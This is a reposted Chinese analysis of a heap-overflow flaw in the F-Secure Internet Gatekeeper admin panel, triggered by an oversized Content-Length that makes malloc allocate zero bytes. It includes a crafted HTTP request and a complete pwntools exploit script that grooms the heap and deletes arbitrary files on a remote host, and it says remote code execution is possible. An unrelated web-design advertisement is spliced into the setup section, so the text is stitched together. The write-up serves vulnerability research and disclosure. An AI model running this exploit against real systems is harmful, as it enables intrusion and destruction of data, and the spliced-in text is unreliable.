F-SecureInternetGatekeeper堆溢出RCE漏洞分析

0x01  环境配置

10多年的磐石网站建设经验,针对设计、前端、开发、售后、文案、推广等六对一服务,响应快,48小时及时工作处理。营销型网站的优势是能够根据用户设备显示端的尺寸不同,自动调整磐石建站的显示方式,使网站能够适用不同显示终端,在浏览器中调整网站的宽度,无论在任何一种浏览器上浏览网站,都能展现优雅布局与设计,从而大程度地提升浏览体验。成都创新互联公司从事“磐石网站设计”,“磐石网站推广”以来,每个客户项目都认真落实执行。

所有测试应在具有至少1个处理器和4GB RAM 的CentOS虚拟机中可重复进行。

需要安装F-Secure Internet Gatekeeper。但是据我们所知,供应商不再提供粗存在漏洞的版本。

受影响的程序包具有以下SHA256哈希值:

1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。

继续安装:

1. 如果使用的是x64版本的CentOS,请执行 yum install glibc.i686;

2. 使用以下命令安装Internet Gatekeeper文件: rpm -I < fsigkbin >.rpm;

3. 为获得更好的调试体验,安装gdb 8+和gef。

现在可以使用GHIDRA / IDA反编译器开始逆向Internet Gatekeeperl了!

0x02  漏洞分析

如F-Secure所述,Internet Gatekeeper是“在网关级别针对企业网络的高效且易于管理的保护解决方案”。

F-Secure Internet  Gatekeeper包含一个在端口9012 / tcp上运行的管理面板。这可用于控制产品中所有可用的服务和规则(HTTP代理,IMAP代理等)。这个管理面板由fsikgwebui二进制文件通过HTTP服务,该二进制文件是用C编写的。实际上,整个Web服务器都是用C / C ++编写的。有一些关于civetweb的参考,这表明可能正在使用定制版本的CivetWeb。

它是用C / C ++编写的事实使我们走上了寻找通常在该语言中常见的内存破坏漏洞的道路。

很快,就可以通过使用Fuzzotron对管理面板进行模糊处理来发现本篇文章中描述的问题,而Fuzzotron使用Radamsa作为底层引擎。fuzzotron内置的TCP支持可轻松模糊测试网络服务。对于种子,我们提取了一个有效的POST请求,该请求用于更改管理面板上的语言。该请求可以由未经身份验证的用户执行,因此非常适合作为模糊测试的种子。

分析突变的输入时,通过radamsa我们可以很快看到漏洞的根本原因是Content-length标题。导致软件崩溃的生成的测试具有以下标头值:Content-Length: 21487483844,这表明是由于不正确的整数导致溢出的。

通过在gdb测试运行后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。此方法负责处理传入的连接,并将它们分配给相关的函数,具体取决于所使用的HTTP,路径或cookie。

为了演示该问题,我们将向运行管理面板的POST端口9012发送请求,我们设置了很大的Content-Length标题值。

 
 
 
  1. POST /submit HTTP/1.1
  2. Host: 192.168.0.24:9012
  3. Content-Length: 21487483844
  4. AAAAAAAAAAAAAAAAAAAAAAAAAAA

该应用程序将解析该请求并执行该fs_httpd_get_header函数以检索内容长度,稍后,内容长度将传递给函数strtoul(String To Unsigned Long)

以下伪代码提供了控制流的摘要:

 
 
 
  1. content_len = fs_httpd_get_header(header_struct, "Content-Length");
  2. if ( content_len ){
  3.    content_len_new = strtoul(content_len_old, 0, 10);
  4. }

strtoul通过阅读相应的man页面,可以了解函数中发生了什么。返回值 strtoul是一个无符号的long int,它可能具有最大值2^32-1(在32位系统上)。

 
 
 
  1. The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).

由于我们提供的数据Content-Length对于无符号long int而言太大,因此strtoul将返回对应0xFFFFFFFF于32位系统的ULONG_MAX值。

到目前为止,一切都很好,当fs_httpd_civetweb_callback_begin_request函数尝试发出malloc请求以为我们的数据腾出空间时,它首先将1加到content_length变量中,然后调用malloc。

可以在下面的伪代码中看到:

 
 
 
  1. // fs_malloc == malloc
  2. data_by_post_on_heap = fs_malloc(content_len_new + 1)

这会导致问题,因为该值0xFFFFFFFF + 1将导致整数溢出,结果为0x00000000,因此,malloc调用将分配0字节的内存。

Malloc确实允许使用0字节参数进行调用,当malloc(0)为有效的指针的堆空间将被返回,指向一个分配的0×10字节的最小块大小,细节也可以在手册页中阅读:

 
 
 
  1. The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().

如果我们进一步浏览Internet Gatekeeper代码,可以看到对mg_read的调用。

 
 
 
  1. // content_len_new is without the addition of 0x1.
  2. // so content_len_new == 0xFFFFFFFF
  3. if(content_len_new){
  4.     int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
  5. }

在溢出期间,此代码将任意数量的数据读取到堆上,没有任何限制。对于漏洞利用而言,这是一个很好的原语,因为我们可以停止将字节写入HTTP流,并且软件将关闭连接,在这种情况下,我们可以完全控制要写入的字节数。

总而言之,我们可以利用Malloc大小为0x10的块以及任意数据的溢出来覆盖现有的内存结构,以下PoC证明了这一点。尽管非常原始,但它通过将标志翻转到来利用堆上的现有结构should_delete_file = true,然后使用要删除的文件的完整路径对堆进行喷射。Internet Gatekeeper内部处理程序具有一种decontruct_http用于查找此标志并删除文件的方法。通过利用此漏洞,攻击者可以获得任意文件删除,足以证明漏洞的严重性。

 
 
 
  1. from pwn import *
  2.  import time
  3.  import sys
  4.  
  5.  
  6.  
  7.  def send_payload(payload, content_len=21487483844, nofun=False):
  8.      r = remote(sys.argv[1], 9012)
  9.      r.send("POST / HTTP/1.1\n")
  10.      r.send("Host: 192.168.0.122:9012\n")
  11.      r.send("Content-Length: {}\n".format(content_len))
  12.      r.send("\n")
  13.      r.send(payload)
  14.      if not nofun:
  15.          r.send("\n\n")
  16.      return r
  17.  
  18.  
  19.  def trigger_exploit():
  20.      print "Triggering exploit"
  21.      payload = ""
  22.      payload += "A" * 12             # Padding
  23.      payload += p32(0x1d)            # Fast bin chunk overwrite
  24.      payload += "A"* 488             # Padding
  25.      payload += p32(0xdda00771)      # Address of payload
  26.      payload += p32(0xdda00771+4)    # Junk
  27.      r = send_payload(payload)
  28.  
  29.  
  30.  
  31.  def massage_heap(filename):
  32.          print "Trying to massage the heap....."
  33.          for x in xrange(100):
  34.              payload = ""
  35.              payload += p32(0x0)             # Needed to bypass checks
  36.              payload += p32(0x0)             # Needed to bypass checks
  37.              payload += p32(0xdda0077d)      # Points to where the filename will be in memory
  38.              payload += filename + "\x00"
  39.              payload += "C"*(0x300-len(payload))
  40.              r = send_payload(payload, content_len=0x80000, nofun=True)
  41.              r.close()
  42.              cut_conn = True
  43.          print "Heap massage done"
  44.  
  45.  
  46.  if __name__ == "__main__":
  47.      if len(sys.argv) != 3:
  48.          print "Usage: ./{}  ".format(sys.argv[0])
  49.          print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
  50.          exit()
  51.      massage_heap(sys.argv[2])
  52.      time.sleep(1)
  53.      trigger_exploit()
  54.      print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])

当前的漏洞利用可靠性大约占总尝试次数的60-70%,我们的漏洞利用PoC依赖于前提条件中列出的特定主机版本。

可以进行RCE,因为我们可以控制确切的块大小,并覆盖想要的块上尽可能多的数据。此外,该应用程序使用多个线程,可以利用这些线程进入干净的堆区域并尝试多次利用。

此漏洞已在F-Secure Internet Gatekeeper版本5.40 – 5.50修补程序8(2019-07-11)中修复。

0x03 学习堆利用资源

利用

· Linux Heap Exploitation Intro Series: Set you free() – part 1

· Linux Heap Exploitation Intro Series: Set you free() – part 2

GLibC

· GLibC Malloc for Exploiters - YouTube

· Understanding the GLibC Implementation - Part 1

· Understanding the GLibC Implementation - Part 2

工具

· GEF  -GDB的附件,此外,它还有一些有用的命令,可进行堆漏洞利用调试

· Villoc -在HTML中图形化显示堆

新闻标题:F-SecureInternetGatekeeper堆溢出RCE漏洞分析
网站链接:http://www.hantingmc.com/qtweb/news24/106774.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联